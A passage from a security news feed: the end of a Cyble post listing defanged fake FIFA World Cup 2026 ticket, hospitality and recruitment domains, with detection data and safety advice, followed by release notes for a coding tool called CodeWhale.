<td>fifa-online[.]com </td>
<td>https://fifa-2026[.]xyz </td>
</tr>
<tr>
<td>jobs-fifa[.]com </td>
<td>fifa-hr[.]com </td>
</tr>
<tr>
<td>fifa-careerhub[.]com </td>
<td>fifaworldcup-careers[.]com </td>
</tr>
<tr>
<td>fifa-hiring[.]com </td>
<td>fifahiring[.]com </td>
</tr>
<tr>
<td>fifa-ticket[.]live </td>
<td>fifastore.us[.]com </td>
</tr>
<tr>
<td>fifaworldcup26[.]sale </td>
<td>fifaworldcup26.xcover-staging[.]com </td>
</tr>
<tr>
<td>worldcup2026-tickets.com[.]mx </td>
<td>worldcup26ticket[.]com </td>
</tr>
<tr>
<td>2026fifaworldcuptickets[.]online </td>
<td>fwc2026[.]net </td>
</tr>
<tr>
<td>fwc2026.web[.]app </td>
<td>www.fifa2026p[.]com </td>
</tr>
<tr>
<td>fifa2026fworldcup[.]com </td>
<td>wvvw-fifa[.]com </td>
</tr>
<tr>
<td>ww-fifa[.]com </td>
<td>fifa-com[.]com </td>
</tr>
<tr>
<td>www.fifa-com[.]services </td>
<td>quiniela-fifa-2026.pages[.]dev </td>
</tr>
</tbody>
</table>
</figure>
<p><!-- /wp:table --></p>
<p><!-- wp:paragraph {"style":{"typography":{"textAlign":"center"}}} --></p>
<p class="has-text-align-center"><em>Source: FBI PSA — Domains defanged for safety</em> </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers tracked these domains and confirmed that many were still operational at the time of publishing. Notably, even when a <a href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noreferrer noopener">malicious</a> domain is taken down, new ones tend to appear almost instantaneously. The fraudulent infrastructure is not a one-time campaign — it is continuously regenerating. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Fake FIFA Hospitality, Ticket, and Sale Sites</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>One of the most convincing examples identified by Cyble researchers was ww-fifa[.]com — a classic typosquatting attack that removes a single "w" from the legitimate FIFA URL. The site presents itself as an official FIFA World Cup 2026 portal, complete with tournament branding, navigation menus, ticket information, and hospitality package offers. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120227,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-1.png" alt="Fake FIFA World Cup 2026 Hospitality Domain" class="wp-image-120227"><figcaption class="wp-element-caption"><em>Fake FIFA World Cup 2026 Hospitality Domain (Source: Cyble)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>Visitors to this site are encouraged to purchase premium packages that include tickets, food, beverages, lounge access, and related services — all fraudulent. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers identified several indicators that expose the site as illegitimate: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Duplicate page titles appearing twice in the browser tab </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Missing or broken images throughout the site </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Navigation links leading to attacker-controlled pages </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Ticket purchase prompts requesting personal and financial information with no legitimate payment processing </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>What makes these sites especially dangerous is the sophistication of the presentation. Unlike the crude phishing pages of a decade ago, modern FIFA 2026 scam sites replicate the visual design of official sports portals convincingly enough to pass a casual inspection. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Security Vendors Have Already Flagged FIFA-Related Domains</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble researchers analyzed the domain fifa[.]help using VirusTotal and found that, at the time of analysis, 15 out of 92 security vendors had classified it as malicious. Vendor classifications included phishing, fraud, and related threat categories. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120228,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-2.png" alt="Fake FIFA 2026 domain scoring" class="wp-image-120228"><figcaption class="wp-element-caption"><em>Fake FIFA 2026 domain scoring (Source: VirusTotal)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>While a detection rate of 15/92 may seem modest, it represents significant early-stage flagging. Many security vendors lag in classifying newly registered domains, so the fact that multiple established providers had already flagged this domain confirms a credible threat.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>As these domains age and accumulate more malicious activity reports, detection rates will rise — but by then, victims will already have been targeted. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Fake FIFA Recruitment Sites Are Also Active</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Not all FIFA World Cup 2026 scams target ticket buyers or fans. Cyble researchers identified an entirely separate fraud vector targeting job seekers: the domain fifaworldcup-careers[.]com, which presents itself as a FIFA employment portal for World Cup-related positions. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120229,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image-3.png" alt="Subdomain related to fifaworldcup-careers[.]com" class="wp-image-120229"><figcaption class="wp-element-caption"><em>Subdomain related to fifaworldcup-careers[.]com (Source: VirusTotal)</em></figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p>VirusTotal data revealed: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>www.fifaworldcup-careers[.]com was flagged by 8 out of 91 vendors </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The root domain was flagged by 14 out of 91 vendors </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The domain resolved to multiple IP addresses, including 3.71.180.249, 13.249.91.65, and 13.249.91.101 </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The use of multiple IP addresses suggests the domain may be operating behind content delivery or load-balancing infrastructure, which makes takedowns significantly more difficult to execute. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>WHOIS data shows the domain was registered and updated in mid-to-late April 2026, with the registrant's identity hidden behind a privacy shield. Two SSL certificates were also issued on April 15 and April 16, including a wildcard certificate covering *.fifaworldcup-careers[.]com — a sign of deliberate, technically capable infrastructure setup rather than an opportunistic amateur operation. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Why this matters:</strong> Job seekers searching for World Cup-related employment — hospitality roles, security staff, event coordinators, media positions — are a highly vulnerable and largely overlooked audience. These individuals are not on guard for ticket scams; they are in application mode, and they will willingly submit full personal information, resumes, and even government ID to what they believe is a legitimate employer. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How to Avoid FIFA World Cup 2026 Ticket Scams</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>As fans search for how to watch the FIFA World Cup 2026 or purchase tickets, the FBI recommends the following precautions: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Type <strong>fifa.com</strong> directly into your browser's address bar — never rely on search results or links in messages </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Avoid sponsored search results, which can be purchased by attackers to appear above legitimate results </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Confirm that the URL is exactly <strong>www.fifa.com</strong> before entering any information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Use saved bookmarks or browser favorites when revisiting FIFA websites </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Access FIFA subdomains only through the official homepage, not by typing them directly </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Be cautious of websites with broken graphics, poor-quality branding, or duplicate content </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Do not provide sensitive information unless the site's legitimacy has been independently verified </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Review URLs carefully before clicking any advertisements </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>These steps are especially important for avoiding FIFA 2026 ticket price scams, where attackers create a false sense of urgency through fake discounts, exclusive hospitality offers, or limited-time deals that pressure users into making fast payment decisions. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>How to Watch FIFA World Cup 2026 Safely</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Scammers are targeting not only ticket buyers but viewers as well. Fraudulent streaming platforms are expected to proliferate as the tournament approaches, exploiting the high demand for match access — particularly from fans in regions where official broadcasts are expensive or limited. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>To reduce risk when looking for FIFA World Cup 2026 streaming options: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Use only official FIFA channels and licensed regional broadcasters for tournament information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Watch matches exclusively through broadcasters licensed for your region </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Avoid streaming links shared through unsolicited emails, social media messages, or WhatsApp groups </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Verify URLs carefully before creating accounts or entering any payment information </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Be cautious of websites offering heavily discounted subscription packages or "exclusive" access to all matches </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Many fake streaming platforms use the same tactics seen in FIFA ticket scams: they exploit demand for tournament content to harvest personal and financial information, either immediately or through credential-stuffing attacks down the line. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>What To Do If You Become a Victim of a FIFA World Cup 2026 Scam</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The FBI expects additional spoofed domains to appear throughout the tournament period — before, during, and after matches. If you encounter a suspected FIFA World Cup 2026 scam, document as much information as possible before the site disappears, including: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>The fraudulent domain name </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Screenshots of the website </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Any communication records (emails, SMS, chat logs) </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Payment details if a transaction occurred </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li>Cryptocurrency wallet addresses, if applicable </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>Victims can file a complaint with the <strong>Internet Crime Complaint Center (IC3) at ic3.gov</strong> and should include the fake domain involved, details of all interactions with the site, information submitted to the scammers, payment records, receiving financial institution information, and any <a href="https://cyble.com/blog/rising-cryptocurrency-scams-and-how-to-avoid-them/" target="_blank" rel="noreferrer noopener">cryptocurrency</a> transaction details. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Reporting promptly not only helps your case but also contributes to the broader effort to get these domains flagged and taken down faster. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Protect Your Brand from Fake FIFA World Cup 2026 Phishing Campaigns</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Major global events like the FIFA World Cup create a concentrated window of opportunity for cybercriminals to launch phishing campaigns, register fraudulent domains, and impersonate trusted brands. As the active FIFA-related scam infrastructure identified by Cyble researchers demonstrates, this is not a theoretical risk — it is a live and expanding threat landscape. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Organizations operating in travel, hospitality, ticketing, media, and any sector adjacent to the FIFA World Cup 2026 need proactive <a href="https://cyble.com/knowledge-hub/what-is-brand-protection/" target="_blank" rel="noreferrer noopener">brand protection</a> measures in place now — not after the first incident. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:image {"id":120226,"sizeSlug":"full","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-full"><img src="https://cyble.com/wp-content/uploads/2026/06/image.png" alt="" class="wp-image-120226"></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://cyble.com/" target="_blank" rel="noreferrer noopener">Cyble's Brand Intelligence solution</a> helps organizations detect malicious domains, phishing websites, brand impersonation attempts, and other forms of digital abuse in real time. Combined with <a href="https://cyble.com/solutions/dark-web-monitoring/" target="_blank" rel="noreferrer noopener">Dark Web</a> and Cyber Crime Monitoring and Takedown &amp; Disruption services, security teams can identify threats early, investigate malicious activity, and accelerate the removal of fraudulent infrastructure before it causes financial or reputational damage. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Don't react — deploy now.</strong> </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Check out how Cyble helps organizations detect, monitor, and disrupt <a href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noreferrer noopener">phishing</a> campaigns, fraudulent domains, and brand abuse before they lead to financial loss or reputational damage. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Frequently Asked Questions </strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:rank-math/faq-block {"questions":[{"id":"faq-question-1781092932781","title":"1. How do I know if a FIFA World Cup 2026 ticket website is legitimate?","content":"The only official platform for FIFA World Cup 2026 tickets is accessible through www.fifa.com. Always type this address directly into your browser. Legitimate FIFA ticket pages will never ask you to log in through a third-party site or pay via cryptocurrency or wire transfer. ","visible":true},{"id":"faq-question-1781092939955","title":"2. Are FIFA World Cup 2026 jobs being posted on fake websites?","content":"Yes. Cyble researchers identified at least one domain — fifaworldcup-careers[.]com — that impersonates a FIFA employment portal targeting job seekers for World Cup positions. Always verify any job listing through the official FIFA website or a recognized recruitment agency. ","visible":true},{"id":"faq-question-1781092941349","title":"3. What should I do if I accidentally visited a fake FIFA site?  ","content":"Do not enter any personal information. Close the browser tab immediately. If you already entered information, change any reused passwords, monitor your financial accounts for unusual activity, and file a report at ic3.gov. ","visible":true},{"id":"faq-question-1781092945514","title":"4. Can I safely use Google to search for FIFA World Cup 2026 tickets?  ","content":"You can search, but be cautious. The FBI specifically warns against clicking sponsored search results, which attackers can purchase to appear at the top of results pages. Always manually navigate to www.fifa.com after your search rather than clicking links. ","visible":true},{"id":"faq-question-1781092946620","title":"5. How many fake FIFA 2026 domains are there?  ","content":"The FBI flagged over 40 fraudulent domains in its PSA. Cyble researchers confirmed that many of these remain active. Given that new fraudulent domains are registered continuously, the actual number of fake FIFA-related domains in circulation is expected to grow significantly as the tournament approaches. ","visible":true}]} --></p>
<div class="wp-block-rank-math-faq-block">
<div class="rank-math-faq-item">
<h3 class="rank-math-question">1. How do I know if a FIFA World Cup 2026 ticket website is legitimate?</h3>
<div class="rank-math-answer">The only official platform for FIFA World Cup 2026 tickets is accessible through www.fifa.com. Always type this address directly into your browser. Legitimate FIFA ticket pages will never ask you to log in through a third-party site or pay via cryptocurrency or wire transfer. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">2. Are FIFA World Cup 2026 jobs being posted on fake websites?</h3>
<div class="rank-math-answer">Yes. Cyble researchers identified at least one domain — fifaworldcup-careers[.]com — that impersonates a FIFA employment portal targeting job seekers for World Cup positions. Always verify any job listing through the official FIFA website or a recognized recruitment agency. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">3. What should I do if I accidentally visited a fake FIFA site?  </h3>
<div class="rank-math-answer">Do not enter any personal information. Close the browser tab immediately. If you already entered information, change any reused passwords, monitor your financial accounts for unusual activity, and file a report at ic3.gov. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">4. Can I safely use Google to search for FIFA World Cup 2026 tickets?  </h3>
<div class="rank-math-answer">You can search, but be cautious. The FBI specifically warns against clicking sponsored search results, which attackers can purchase to appear at the top of results pages. Always manually navigate to www.fifa.com after your search rather than clicking links. </div>
</div>
<div class="rank-math-faq-item">
<h3 class="rank-math-question">5. How many fake FIFA 2026 domains are there?  </h3>
<div class="rank-math-answer">The FBI flagged over 40 fraudulent domains in its PSA. Cyble researchers confirmed that many of these remain active. Given that new fraudulent domains are registered continuously, the actual number of fake FIFA-related domains in circulation is expected to grow significantly as the tournament approaches. </div>
</div>
</div>
<p><!-- /wp:rank-math/faq-block --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/fifa-world-cup-2026-scams/">FIFA World Cup 2026 Scams Are Already Active: Fake Domains, Phishing Sites, and How to Stay Safe</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.8.56 — Community Harvest: localization, providers, prefix-cache stability, and fixes]]></title>
<description><![CDATA[What shipped in v0.8.56
14 merged PRs from 9 contributors across localization, provider routing, prefix-cache stability, shell safety, web search, PDF fixes, paste handling, and bug fixes.
Added

Status picker localization — 7 MessageIds localized across all supported locales (#2896, @gordonlu)
A...]]></description>
<link>https://tsecurity.de/de/3586503/downloads/v0856-community-harvest-localization-providers-prefix-cache-stability-and-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586503/downloads/v0856-community-harvest-localization-providers-prefix-cache-stability-and-fixes/</guid>
<pubDate>Wed, 10 Jun 2026 07:19:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What shipped in v0.8.56</h2>
<p>14 merged PRs from 9 contributors across localization, provider routing, prefix-cache stability, shell safety, web search, PDF fixes, paste handling, and bug fixes.</p>
<h3>Added</h3>
<ul>
<li><strong>Status picker localization</strong> — 7 MessageIds localized across all supported locales (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610682468" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2896" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2896/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2896">#2896</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gordonlu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gordonlu">@gordonlu</a>)</li>
<li><strong>Approval dialog localization</strong> — approval dialog now localized across 7 locales (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4609419818" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2891" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2891/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2891">#2891</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gordonlu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gordonlu">@gordonlu</a>)</li>
<li><strong>Volcengine provider in TUI dispatcher</strong> — launch directly into Volcengine-backed sessions (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618285087" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2923" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2923/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2923">#2923</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongchen1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongchen1993">@hongchen1993</a>)</li>
<li><strong>Dispatcher API-key preference</strong> — CLI-provided API keys now preferred over saved root keys (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618623722" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2928" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2928/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2928">#2928</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongchen1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongchen1993">@hongchen1993</a>)</li>
<li><strong>Qwen 3.6 Plus model support</strong> — complete model resolution with dedicated tests (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618647319" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2930" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2930/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2930">#2930</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idling11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idling11">@idling11</a>)</li>
<li><strong>Oversized paste spill</strong> — pastes &gt;10 KB written to <code>.codewhale/pastes/</code> instead of dropped (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618119811" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2920" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2920/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2920">#2920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sximelon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sximelon">@sximelon</a>)</li>
<li><strong>Cross-session prompt cache</strong> — disk-backed cache so mode flips and restarts reuse the byte-stable prefix</li>
</ul>
<h3>Fixed</h3>
<ul>
<li><strong>Background shell routing</strong> — &gt;5s shell commands auto-routed to background tasks with instant panel sync on cancel (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621833146" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2947" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2947/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2947">#2947</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619719833" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2941" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2941/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2941">#2941</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyq1017/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyq1017">@cyq1017</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idling11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idling11">@idling11</a>)</li>
<li><strong><code>allow_shell</code> error naming</strong> — refusal errors now name <code>allow_shell = false</code> and suggest the escape hatch (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615372877" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2905" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2905/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2905">#2905</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyq1017/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyq1017">@cyq1017</a>)</li>
<li><strong>Prefix-cache stability across mode flips</strong> — <code>allow_shell</code> decoupled from static prompt prefix so mode changes don't rebuild message[0] (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624123399" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2949" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2949/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2949">#2949</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeoAlex0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeoAlex0">@LeoAlex0</a>)</li>
<li><strong><code>visibility="internal"</code> explained</strong> — models stop narrating their mode between steps (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624289620" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2951" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2951/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2951">#2951</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeoAlex0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeoAlex0">@LeoAlex0</a>)</li>
<li><strong>Bocha web search response handling</strong> — updated for upstream API change (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621450893" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2946" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2946/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2946">#2946</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/h3c-hexin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/h3c-hexin">@h3c-hexin</a>)</li>
<li><strong>PDF read hang</strong> — full-PDF reads use <code>extract_text_by_pages</code> to avoid hangs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610872075" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2898" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2898/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2898">#2898</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idling11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idling11">@idling11</a>)</li>
<li><strong>9 critical bugs</strong> — ContentBlockStop cleanup, missing #[test], ApprovalField labels, and more (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607137951" data-permission-text="Title is private" data-url="https://github.com/Hmbown/CodeWhale/issues/2880" data-hovercard-type="pull_request" data-hovercard-url="/Hmbown/CodeWhale/pull/2880/hovercard" href="https://github.com/Hmbown/CodeWhale/pull/2880">#2880</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HUQIANTAO/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HUQIANTAO">@HUQIANTAO</a>)</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Removed deprecated <code>deepseek</code> shim references from CNB mirror path</li>
<li>Applied <code>cargo fmt</code> to <code>crates/tools/src/file.rs</code></li>
</ul>
